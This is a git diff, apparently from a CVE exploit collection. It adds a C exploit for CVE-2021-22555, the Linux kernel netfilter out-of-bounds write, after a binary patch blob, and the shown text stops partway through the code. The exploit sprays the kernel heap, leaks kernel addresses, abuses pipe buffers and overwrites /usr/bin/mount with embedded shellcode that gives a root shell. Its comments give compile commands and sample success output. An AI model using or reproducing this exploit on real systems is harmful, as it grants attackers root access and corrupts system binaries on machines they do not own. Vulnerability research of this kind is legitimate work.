z%n=RA;!$(uWRkcy>1|&`OW)JO)iynDUXqF%-N7EMi9`$(aqg6kq{a=rrz)4b3|3rN zhwHOr%@K~+jRh32xF}_7>8oO9Um>d@O5)e+&{b#c&mKGs5S>EVV?_Dpbh$=1*(m2U zU7hec>jmv%%uPm1&g0hsDX_j!#jeUuK?a{%A`RxJ!9$p`+xCGTmahvvDV?TBD@7fO zzFx#(!NF)?#z%lC>zpeklU{}%p(eG58*ambL( zf66|ky)ZXoslX^Y;8Hy%#7{Yd>n$BIUFp_N4w4PA!EbcsAm<80gaZkGK!qNDNCq|Y) zh9pD4%EE_ui3X`mg^8ZbrdOJ8KTA%P9YAI3eLJZ=4Jq;4|B`~Y;eN7ivp{F_$QuNq z%%S-++}|#;5FcVq51UDyqjA>JEH7A}*hn5TITl1^%-ze{EV{Q2y`Wu=5nxCPd&_yF zn5~~>&?1IWZ1TO4=3>X`h3GH&%bZJ6K%N-lXXWpZUv?E)5))OybDR;UT9OLYGPMqt zF<)=x`ddkudEap8vy6c+U!qb{xUaS;yW!krxa;e`rHEkKkXi&FdZZ zceKQw5T}g*c^RZDpOy83JoV>WSSpRIsQ4vHNq+b9!7T?%S;B`%8wtI_*%E>9K9gb^ zKIi_tVR|pnYZ9hnVYWQA=Q(l44x*S~@-3zHUhzP*mo0=EEx-HxHZs$B$da7Ah2{S{ zqcU?eviC-5XakSA&MqzZr)}u=-`{+2_izGd`{$&@*1)A0NkSjLzlbCy?!UlL!2D_b zr7Er|&H@JyR`0Tj6A>{`|NXxJNWPX(ZdU4cJmx;k|IR-shnG`?0|3(hlHxIJ|G=yN zA;lnVn?ptBLr2!SQmYUDLmRgV$H`)h_stthzwBbs9P5O;N)8ygb zZy`pv`Sb)0p&L`>Cd>nG(yURo7s7Ova&ZOQcRl^9iqU89>bq2gXXF|s4pk1E%zCMh z%D_Uqp1*TSCp8`wIBuvSfz}S*{X_vp8e_0ym9)V=E0nF~Jt&G@P5*@KiTw10n}5~Z zGFM_g+9b)ec<1O%$oHRMn?f%5GW@0IPSFQWXH-rKnM56HF3xf%%UZy(-Cz}`B0i2T zaOm2g?UFBiKjTQ1^WY|#nEdov@PU+#fHdNr+f5CKLAbAc}GwVUkg@BI+Fi6&=( zO&hj5lO;!wcXBo?=C7tF5g? zdg*f260uY*m9|Q_w0gDnN)V(w`b;0SUy2jIUTQ^@j4ZnZ8;I$N4$dlTwMI{fOAKvS4i>PtQE4d0Wn!4j& zS+(%yf$Go8S|8Pqw-0P@G*(Ek;I|TChWFVSvz1Ao?lZ}Tfpy11-I)9_hPO9_|GRU6 zZ!Mp_n92!2#C^l$gp$wTLsGo<$$V0az4;4l|AX)aQKMufZhB!foZ|-x#+5B9X4Sjs zmsR#RJNbq(`NQ&H3cGl%FV)p}zKzLex`t(mOpaM?1iF~ED&g|cy@if6aeN#8 zFUICCbl-cV_Z)qfq~4Pi_DTu2#Jr3anvwk=ay4PQms5G&&*_`lpL0m6Z4dFA6{6&p zk9VuCKDl|n!97CKsfJ5@-|d?QU&|HiZP7>YN<~mw{=c)T2p1`#uK_G(3$WIxF6xR za%1ErEo`gY%;{3)kvyT9lOHS;wkKwz^X2yG*W{a~_lo2m5k7@)X~=Wd=+>zcd}>D2 zk?*^BjuY*FO6E?Bv!RT$MxZN>mV@3G%8(U*+IiA?x=O6 z3wS!G;4!jLqy7fau z7sV~zs$a*1*M9Wp&5-5KK3Yr5hYvpy1U?Ro7hOk}Gw>YKlv;Ys{_9g{$sijedJe*c z=vC2Q8vk;nTjmh7WgZL3O?2Wx`MFiEBn2(n?u+A8xDh>v7}nWe5h6n}dS8Iz^7iJ> za#{>rA(F}$2pwvD&i;H4b3p`2y^Fkwx3WPTmcH$R4COOO=!pn7AbLEdd*O8c@N~86 zA<$!>=5eyV?iZs=hb{b}gyIB;g3%fHd6nk=)gN7^f~oN6T6nr#;8*IfNYFps@EkV8 z8Nz1g>#MVh*i4w~bK0G8IlQmG|INJb=~5o@5*wx_;1MR zk~fRvmzoBOv~2g)Bv!E1esxX*gf7LkXRH9BL&c^&ZHpN{_zoR zK}T7@*AC&Z46iD!QevWymSfZ10g;?3AQcZehr3nY0(`1{&sJOc#1*m~V8a}xYsLx0 zGRC_$1T+f25wO>_Z4&mbtoJzIvQ_JLN{pH4e|KtcadQy4)UK~GL;Ts0V zAn4Ll3Y|~b{#Loi!HxIs!J{!GLvWA&kE^(dtA=!I(Z{z`Z*%G#&>rvZ*^9=^VSspu zJV9t$V`Or#EP>-cv!M@bY#aG=YTmjz=ha7M~i!2d>g z>R2-)Wwv8mGQ7>;lP`;+x{F_qd%Pq$*EtoCUNjpk;ZWEW3kvK7uHzvyw=R*TIuZbQ z`%yIs<<=|Lk8y@%MMjFw?|&x~?4eToJcTUEhX}VR;_E6@EOH-swb!S-)$tk5)WV~y zuC^_73ElW6GhJ_iYL(Pg(Zb(*KVH-5)+eAK$9B-iR!uB0aC~x(xL*xvms}kQPSPcE z;oiHk(e|NDGOITT8-qis8cJ6KkXgTQB8w+kg$yp<-hNf%jdQy%mCHi391Xxqg_4Qw*-mb+=H*A4|TBd9+&S|A$xbCjP)eP#z{%`{U?VX ztwyQ>8wpCKtWW}@hJ9s=n^AG*9<@O*5ft$nFi{2(`#$>%3zrk9QsMUv<&V1~&)igO z$}1yN-Z~Pi-#16%%D}6}W}l9nfHN(?{;!A?Nc)2wV&O0Q&n$l^Ldfn{4;r!7_T2}e zcGj#knGMrf3ioWV|JXA_K6W9t$%y8WmAKt#|^ShG5!3Uq|^y zc!(iQjpRw@X|7M{B6&nYDA=F%DRQTEMmrG-B-QdVA5 zKW23Lang(Zj5!eWiZJ13Nl`m>Rtn|pWLZap=}GTD`>ej z-?6aXyzMk_>Q=7H6cx^K<19u_Aou0xoMLS}F^R<&P&G+NcE6^#9uUOFn|wR^LkL3a zykC+)rx&R$9{rtEMZtFcP(1ZW=aV8fYwUSW;o|$myfxREc)H4gXAi86^G`gRp_f^H z)H~lJgncAGCvHfR-%n7x{EoIUX3+j4*QgO1$x2^D4xRzUpl1zXIh4Rl!;*DP| zsB2_*b2k3-)HP(h@%T+J-RSV?!6xyfYZ~I8?&M0q%~)=qo!!#!;382eR{>3X@;MV}=ub+C82J>W*TF>~yMN)R_Ol*Kn%I7E0lRa+H-TF^^Hx| zmj=Xgrw17!)_5$5~R0-#UCwC@=7)O^)bxn6_3~KxY;eqrQp@gr@7T@OeS8+@k{=M*eAV zG{E)qULQ%EssbA(&w&cGd&>mz=CNqm+sk{bNf-<%T7w&?d@rMEOOdV3jWbm8Rsu3+ z*LzLVgrB6h(q;7muSa-By*zd_WDs3}sJ1+EYJl(oyR_YW;b9U?PNHVsK z7b(L?;Rw!JqjyvmC$93RwBz@Dn@=qPK7eFT%*n8>Edho~Ns;TID-5}vL&>o(F<|6r zfn{&wDAN7Y(&E{XL6c9FY8-=`%#;|`l@lWGzGYzR^hw2Nm7(f;I5Xw`rQ;~&bLPnB zr`PL*wa`o9@_uq7Q>`fFYLDtlgFT}Eaa_Y!i|rMI<~sDwrFefG6Fvki=OR2YY`M(4 zV#bYl5y*BvlH5n|nS?YPc-PIE*y}c1_GW>sZl1^MH?lqrsZo$!TW5xDPgGpX?B+c? z7?K_m=GJIS0Ff$+0B;CMPC*VmCk8Dh*ZQ*8Ub(AN;beCmj&BZ|5!b)ScR|af-;y6m zy$g`_85CVbcA44GDt8|^ON!Cw^$CNXx97R43K69 z_BqB3FhMd8xNq$gEVfvvd#z6Jmsv$(f27|s`qCTZW;VrXh%~N8NC=P2$8t_#1AWAX zW?)bv$VcN?3nt!1FFj`?SAy66^V7^rfKoBFgkaeA<$1Q!jUg>SpLwIltbGMgQ&hvs zyXs7UKcZ)eKJNnMutA0IxIjOI{swGc`0H!z{X%#lTfV0MvfObHay|?PeJ`=iEAQtp z9o!2qnb~}an6*!L6rER@r7up|Al`dC6(Y9kJ?I(7;$k)E z)Y?JEcT%&AZbW_CG?+K}VL6C?8WgpEnKBWQPSH2d;r+nl|E>*}WsL3O zQ(5Yx>Jes8c^X8%^N-d7`n-gFC;Gtjbc66X)?gfMkeCu-MCtabiSHA}Dgaa1ct*ls zZH<)wB)s7$ExNTyRgnO7`*Tg(O#KnB56FF*zm0O44$e1fPWRI?&H5Ve64qi{G2}(1 zc1)!9_)6zHtX-{u7xUE`W6E##sjkF>prHcKUrj>_ZX$5UPF|t7_d_K6Y@dF6eiAzj zww%kQmvx-1c;)jfU$-Ww8QJHdBo0FI8f%Ri6R_9OJaTiOaN%PSqRA zEop1TM{Tb0Uf<<#C!u&LU%-;=E;m|b@aKb`Grf_yc_#E@?>YJDDIqOnWs?oVz$8yC z;A&NTDSUphkWDUx_6O?;Di?6Ownl;e%QXr*>T(oT3vZdWDq6UcCWTO14&3H|6d0~& zVD5YgD^CXlv^rb7R7W3bQY|Qj_8X`Fx-9(h)h4($6VY)gc?^!CVq09U;-;*wD8P9~qKh`P5^w(ZYftJ*md-xYpezBA|Z*zen8L{HFNxBuRDX%8{ ze3i&fpgX{J`l_*gXCyRmaMcc4Hs(!NNUn->X*m1194k^4#{jtlib&+{u)!CYRPTKnaFm^Bjw=!*_3}XCY>Xr$?POh$a~Z_H#9NQC6kHx4m3mOKR^+ek zTR%&{Mg-rLu-SEO$u6(Ifm^R<(?!yyxV-w4+(XZe5Smyhf1mH?^L8>Bw^JWM;g3TH zUyCIv(pv9bcb4&fa4%YdOc5iYFaJE=#RY56Wm=6TNWG5;`Z<8O4e3Z9H!?&9Gl_U)s0ozcy3e1^aCc=yoh}JrXbi7CHvLFa3*9~HBGADa*hh>?mEs< zko@^YvUZ(jDbq;{B|_x58fPXFyMBQb6#W(Gb{+IiMH-b|TBN8mYyHtT(bd9UegBg0 z1vvp`VktXYQ0YI8A1(*iw+r(xau-Hz-W7G~HPp-2YVLpOaz=8J{acf|zbHuU{tSh7 zHl%lE6}*r2ao{86y^_X0{&RVJKmCK2jfG28nL$Z%-^qq8LD9xYuxcjypd+s!#}W!r zvV?*`c4vu(cRi4PeXqc&MNfPTwibRG-?_1>-zZ^@vS{|~i`bWXBr~~7D|J6701%BY zVbR~h_ne~`2d&{W9ProDgONf5J#ERwIL9Q~M;<{2bK+E^gxy`knmU85BOdzCjM#cQ zdy)EpgSgCsH2u}xVlYqd@#cvgN_T2<>gzY`sHpGqTB|!TZ;OY1Ox}5BcH;$dZd9Qe zXFgNb#I9xcJm8mXM1oXF?_wry!Vz=@#wN`4oJCXZK+$eQQEU5i0OEj%rI{2iumC>x znI5c44~M+xS_-vaHYN-Wof^or3&dBmjjFzWSyIDv+4s)h|1M%&=8vY@Ov{Rs{(XcH zYB%QhBoDDB(VaPzUjWo~4+`0FK@6@>rQ<$a2CUkO|G!+X(5zcz%6Yo0{Z?PX51YfcG2id-H`X&8lPsbpXhu@Sb=?|MK5xv5lScwG2|*!J8v z-52|XH?tjKi1i4X>J(iPgD!K(Z9cNtwng}|)tXt*0{5oE5vix&qQtGN4StiGozgEh z4iBlH#)ulf46?1A(f)8dDH}ly394Dt@lmegm_MG#ZRHHY{v9#k2W3(0NwWEsVg&iu^pkaIvT z)`rG3+5*aTLX(Xr^S5b?9TF-5hs2ePwL`?Vzk3BB6U&9)>h}g~Ai32Cb`(>kxH=;a ziKV}m4l$R-4>RQB9R49UpG$GkdH$X99^N*>e)9S`P51t|#Pm6&&5UneuejzM^M6ye B$esWI literal 0 HcmV?d00001 diff --git a/cve/linux-kernel/2021/CVE-2021-22555/exploit.c b/cve/linux-kernel/2021/CVE-2021-22555/exploit.c new file mode 100644 index 00000000..96038f23 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-22555/exploit.c @@ -0,0 +1,608 @@ +/** + * CVE-2021-22555 exploit + * + * This exploit use pipe-primitive so no kaslr leak nor smap + * smep ktpi bypass is needed. + * + * Compile with: + * gcc exploit.c -o exploit -m32 -static -no-pie -s + * + * This exploit will overwrite /usr/bin/mount with suid-shell and + * execute it. BACKUP IT MANUALLY before running exploit, and + * RESTORE it quickly after exploit success. + * + * / $ /exp + * [+] STAGE 0: Initialization + * [*] Setup namespace sandbox ... + * [*] Initializing sockets and message queues ... + * [+] STAGE 1: Memory corruption + * [*] Spraying msg_a(0x1000) ... + * [*] Spraying msg_b(0x400) ... + * [*] Creating holes in msg_a (each 1024) ... + * [*] Triggering oob write ... + * [*] Searching for corrupted msg_a ... + * [*] fake_idx: 0x80f + * [*] real_idx: 0x7fa + * [+] STAGE 2: Leak chunk address + * [*] Freeing real msg_b ... + * [*] Spraying fake msg_b with evil m_ts ... + * [*] Leaking adjacent msg_b ... + * [*] ptr_adjacent_msg_a: 0xffff88801c2c2000 + * [*] Freeing fake msg_b ... + * [*] Spraying fake msg_b with evil next ... + * [*] Leaking adjacent msg_a ... + * [*] ptr_adjacent_msg_b: 0xffff88801b4c0400 + * [*] ptr_msg_b: 0xffff88801b4c0000 + * [+] STAGE 3: Do pipe primitive + * [*] Freeing fake msg_b ... + * [*] Spraying freeable fake msg_b ... + * [*] Freeing fake msg_b using fake_idx ... + * [*] Spraying pipe_buffer objects ... + * [*] Leaking and freeing pipe_buffer object ... + * [*] editing pipe_buffer ... + * [*] try to overwrite /usr/bin/mount + * [*] see if /usr/bin/mount changed + * [+] exploit success + * / # id + * uid=0(root) gid=0(root) groups=1000(ctf) + * + */ + +// clang-format on +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +// clang-format off +#include +// clang-format on + +#define logd(fmt, ...) dprintf(2, "[*] " fmt "\n", ##__VA_ARGS__) +#define logi(fmt, ...) dprintf(2, "[+] " fmt "\n", ##__VA_ARGS__) +#define loge(fmt, ...) dprintf(2, "[-] " fmt "\n", ##__VA_ARGS__) +#define die(fmt, ...) \ + do { \ + loge(fmt, ##__VA_ARGS__); \ + loge("Exit at line %d", __LINE__); \ + write(sync_pipe[1], "F", 1); \ + exit(1); \ + } while (0) + +#define PAGE_SIZE (0x1000) +#define SIZEOF_SKB_SHARED_INFO (0x140) +#define NUM_SOCKETS (4) +#define NUM_PIPES (256) +#define NUM_SKBUFFS (128) +#define NUM_MSQIDS (0x1000) +#define HOLE_STEP (0x400) + +#define MSG_TEXT_SIZE(x) ( \ + (x) - sizeof(struct msg_msg) - \ + sizeof(struct msg_msgseg) * (((x + PAGE_SIZE - 1) / PAGE_SIZE) - 1)) +#define MSG_A_RAW_SIZE (0x1000) +#define MSG_B_RAW_SIZE (0x400) +#define MSG_A_TEXT_SIZE MSG_TEXT_SIZE(MSG_A_RAW_SIZE) +#define MSG_B_TEXT_SIZE MSG_TEXT_SIZE(MSG_B_RAW_SIZE) +#define MTYPE_A (0x41) +#define MTYPE_B (0x42) +#define MTYPE_FAKE (0x43) +#define MSG_SIG (0x13371337) +#define PIPE_BUF_FLAG_CAN_MERGE (0x10) + +#define ATTACK_FILE "/usr/bin/mount" +const char attack_data[] = { + 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, + 0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, + 0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75, + 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31, + 0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, + 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, + 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, + 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, + 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, + 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, + 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05}; + +struct list_head { + uint64_t next; + uint64_t prev; +}; + +struct msg_msg { + struct list_head m_list; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; + char mtext[0]; +}; + +struct msg_msgseg { + uint64_t next; +}; + +struct typ_msg { + long mtype; + char mtext[0]; +}; + +struct typ_pipe_buffer { + uint64_t page; + uint32_t offset; + uint32_t len; + uint64_t ops; + uint32_t flags; + uint32_t padding1; + uint64_t private; +}; + +int sync_pipe[2]; +int sock; +int sock_pairs[NUM_SOCKETS][2]; +int pipes[NUM_PIPES][2]; +int msqid[NUM_MSQIDS]; +uint8_t msg_buffer[0x2000]; +struct typ_msg *msg_a = (struct typ_msg *)msg_buffer; +struct typ_msg *msg_b = (struct typ_msg *)msg_buffer; +int fake_idx = -1; +int real_idx = -1; +uint64_t ptr_adjacent_msg_a; + +uint8_t g_buff[0x2000]; + +void clean() { + for (int i = 0; i < NUM_MSQIDS; i++) { + if (i == fake_idx) + continue; + if (msgctl(msqid[i], IPC_RMID, NULL) < 0) + die("msgctl() fail"); + } +} + +void spray_pipe(const char *target_file) { + int fd = open(target_file, O_RDONLY); + if (fd < 0) { + die("open %s failed", target_file); + } + + for (int i = 0; i < NUM_PIPES; i++) { + if (pipe(pipes[i])) { + die("alloc pipe failed"); + } + + const unsigned pipe_size = fcntl(pipes[i][1], F_GETPIPE_SZ); + static char tmp_buff[0x1000]; + + /* fill the pipe completely; each pipe_buffer will now have + the PIPE_BUF_FLAG_CAN_MERGE flag */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; + if (write(pipes[i][1], tmp_buff, n) != n) { + die("pipe write() fail"); + }; + r -= n; + } + + /* drain the pipe, freeing all pipe_buffer instances (but + leaving the flags initialized) */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; + if (read(pipes[i][0], tmp_buff, n) != n) { + die("pipe read() fail"); + } + + r -= n; + } + + write(pipes[i][1], tmp_buff, 0x100 + i); + + loff_t offset = 1; + ssize_t nbytes = splice(fd, &offset, pipes[i][1], NULL, 1, 0); + if (nbytes < 0) { + die("splice failed"); + } + } +} + +void free_skbuff_data(void *ptr, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (read(sock_pairs[i][1], ptr, size) < 0) { + die("read from sock pairs failed"); + } + } + } +} + +void spray_skbuff_data(void *ptr, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (write(sock_pairs[i][0], ptr, size) < 0) { + die("write to sock pairs failed"); + } + } + } +} + +void trigger_oob_write() { + // copied from origin exploit.c + struct __attribute__((__packed__)) { + struct ipt_replace replace; + struct ipt_entry entry; + struct xt_entry_match match; + char pad[0x108 + MSG_A_RAW_SIZE - 0x200 - 0x2]; + struct xt_entry_target target; + } data = {0}; + + data.replace.num_counters = 1; + data.replace.num_entries = 1; + data.replace.size = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); + data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); + data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); + data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); + strcpy(data.match.u.user.name, "icmp"); + data.match.u.user.revision = 0; + data.target.u.user.target_size = sizeof(data.target); + strcpy(data.target.u.user.name, "NFQUEUE"); + data.target.u.user.revision = 1; + + // Partially overwrite the adjacent buffer with 2 bytes of zero. + if (setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { + if (errno == ENOPROTOOPT) { + die("ip_tables module is not loaded."); + } + } +} + +void init_unshare() { + int fd; + char buff[0x100]; + + // strace from `unshare -Urn xxx` + unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); + + fd = open("/proc/self/setgroups", O_WRONLY); + snprintf(buff, sizeof(buff), "deny"); + write(fd, buff, strlen(buff)); + close(fd); + + fd = open("/proc/self/uid_map", O_WRONLY); + snprintf(buff, sizeof(buff), "0 %d 1", getuid()); + write(fd, buff, strlen(buff)); + close(fd); + + fd = open("/proc/self/gid_map", O_WRONLY); + snprintf(buff, sizeof(buff), "0 %d 1", getgid()); + write(fd, buff, strlen(buff)); + close(fd); +} + +void bind_cpu() { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { + die("sched_setaffinity() fail"); + } +} + +void init_sock() { + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + die("socket() fail"); + } + + for (int i = 0; i < NUM_SOCKETS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) { + die("socketpair() fail"); + } + } +} + +void init_msq() { + for (int i = 0; i < NUM_MSQIDS; i++) { + msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); + if (msqid[i] < 0) { + die("msgget() fail"); + } + } +} + +void do_initialization() { + logd("Setup namespace sandbox ..."); + init_unshare(); + bind_cpu(); + + logd("Initializing sockets and message queues ..."); + init_sock(); + init_msq(); +} + +void do_memory_corruption() { + logd("Spraying msg_a(0x%x) ...", MSG_A_RAW_SIZE); + for (int i = 0; i < NUM_MSQIDS; i++) { + msg_a->mtype = MTYPE_A; + memset(msg_a->mtext, 0, MSG_A_TEXT_SIZE); + ((int *)msg_a->mtext)[0] = MSG_SIG; + ((int *)msg_a->mtext)[1] = i; + if (msgsnd(msqid[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) { + die("msgsnd() fail"); + } + } + + logd("Spraying msg_b(0x%x) ...", MSG_B_RAW_SIZE); + for (int i = 0; i < NUM_MSQIDS; i++) { + msg_b->mtype = MTYPE_B; + memset(msg_b->mtext, 0, MSG_B_TEXT_SIZE); + + ((int *)msg_b->mtext)[0] = MSG_SIG; + ((int *)msg_b->mtext)[1] = i; + if (msgsnd(msqid[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) { + die("msgsnd() fail"); + } + } + + logd("Creating holes in msg_a (each %d) ...", HOLE_STEP); + for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { + if (msgrcv(msqid[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, 0) < 0) { + die("msgrcv() fail"); + } + } + + logd("Triggering oob write ..."); + trigger_oob_write(); + + logd("Searching for corrupted msg_a ..."); + fake_idx = real_idx = -1; + for (int i = 0; i < NUM_MSQIDS; i++) { + if (i != 0 && (i % HOLE_STEP) == 0) { + continue; + } + if (msgrcv(msqid[i], msg_b, MSG_B_TEXT_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) { + die("msgrcv()"); + } + if (((int *)msg_b->mtext)[0] != MSG_SIG) { + die("bad luck, corrupted msg_a not point to another msg_b"); + } + if (((int *)msg_b->mtext)[1] != i) { + fake_idx = i; + real_idx = ((int *)msg_b->mtext)[1]; + break; + } + } + + if (fake_idx == -1 && real_idx == -1) { + die("bad luck, can't find corrupted msg_a"); + } else { + /** + * fake_idx's msg_a has a corrupted next pointer, + * wrongly pointing to real_idx's msg_b. + */ + logd("fake_idx: 0x%x", fake_idx); + logd("real_idx: 0x%x", real_idx); + } +} + +void do_leak() { + logd("Freeing real msg_b ..."); + if (msgrcv(msqid[real_idx], msg_b, MSG_B_TEXT_SIZE, MTYPE_B, 0) < 0) { + die("msgrcv() fail"); + } + + logd("Spraying fake msg_b with evil m_ts ..."); + { + memset(g_buff, 0, sizeof(g_buff)); + struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff; + p_fake_msg_b->m_list.next = 0xdead1111; + p_fake_msg_b->m_list.prev = 0xdead2222; + p_fake_msg_b->m_ts = MSG_A_TEXT_SIZE; + p_fake_msg_b->m_type = MTYPE_FAKE; + p_fake_msg_b->next = 0; + p_fake_msg_b->security = 0; + } + spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Leaking adjacent msg_b ..."); + memset(g_buff, 0, MSG_A_TEXT_SIZE); + if (msgrcv(msqid[fake_idx], g_buff, MSG_A_TEXT_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) { + die("msgrcv() fail"); + } + struct msg_msg *p_adjacent_msg_b = (struct msg_msg *)(g_buff + sizeof(long) + MSG_B_RAW_SIZE - sizeof(struct msg_msg)); + if (((int *)&p_adjacent_msg_b->mtext)[0] != MSG_SIG) { + die("Could not leak adjacent msg_b"); + } + ptr_adjacent_msg_a = p_adjacent_msg_b->m_list.prev; + if ((ptr_adjacent_msg_a & 0xFFFF000000000FFF) != 0xFFFF000000000000) { + die("Could not leak adjacent msg_a ptr"); + } else { + logd("ptr_adjacent_msg_a: 0x%08" PRIx64, ptr_adjacent_msg_a); + } + + logd("Freeing fake msg_b ..."); + free_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Spraying fake msg_b with evil next ..."); + { + memset(g_buff, 0, sizeof(g_buff)); + struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff; + p_fake_msg_b->m_list.next = 0xdead1111; + p_fake_msg_b->m_list.prev = 0xdead2222; + p_fake_msg_b->m_ts = MSG_TEXT_SIZE(0x1400); + p_fake_msg_b->m_type = MTYPE_FAKE; + p_fake_msg_b->next = ptr_adjacent_msg_a - sizeof(struct msg_msgseg); + p_fake_msg_b->security = 0; + } + + spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Leaking adjacent msg_a ..."); + if (msgrcv(msqid[fake_idx], g_buff, MSG_TEXT_SIZE(0x1400), 1, MSG_COPY | IPC_NOWAIT) < 0) { + die("msgrcv() fail"); + } + struct msg_msg *p_adjacent_msg_a = (struct msg_msg *)(g_buff + sizeof(long) + PAGE_SIZE - sizeof(struct msg_msg)); + if (((int *)&p_adjacent_msg_a->mtext)[0] != MSG_SIG) { + die("Could not leak adjacent msg_b"); + } + uint64_t ptr_adjacent_msg_b = p_adjacent_msg_a->m_list.next; + if ((ptr_adjacent_msg_b & 0xFFFF0000000003FF) != 0xFFFF000000000000) { + die("Could not leak adjacent msg_b ptr"); + } else { + logd("ptr_adjacent_msg_b: 0x%08" PRIx64, ptr_adjacent_msg_b); + } + + uint64_t ptr_msg_b = ptr_adjacent_msg_b - MSG_B_RAW_SIZE; + logd("ptr_msg_b: 0x%08" PRIx64, ptr_msg_b); +} + +void do_pipe_primitive() { + logd("Freeing fake msg_b ..."); + free_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Spraying freeable fake msg_b ..."); + { + memset(g_buff, 0, sizeof(g_buff)); + struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff; + p_fake_msg_b->m_list.next = ptr_adjacent_msg_a; // <- ptr_msg_b + p_fake_msg_b->m_list.prev = ptr_adjacent_msg_a; // <- ptr_msg_b + p_fake_msg_b->m_ts = MSG_B_TEXT_SIZE; + p_fake_msg_b->m_type = MTYPE_FAKE; + p_fake_msg_b->next = 0; + p_fake_msg_b->security = 0; + } + + spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Freeing fake msg_b using fake_idx ..."); + if (msgrcv(msqid[fake_idx], g_buff, MSG_B_TEXT_SIZE, MTYPE_FAKE, 0) < 0) { + die("msgrcv() fail"); + } + + logd("Spraying pipe_buffer objects ..."); + spray_pipe(ATTACK_FILE); + + logd("Leaking and freeing pipe_buffer object ..."); + uint8_t bak_pipe_buff[0x400]; + uint8_t uaf_pipe_idx = -1; + uint64_t anon_pipe_buf_ops = 0; + { + size_t recv_size = MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO; + memset(g_buff, 0, sizeof(g_buff)); + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (read(sock_pairs[i][1], g_buff, recv_size) < 0) { + die("sock read() fail"); + } + struct 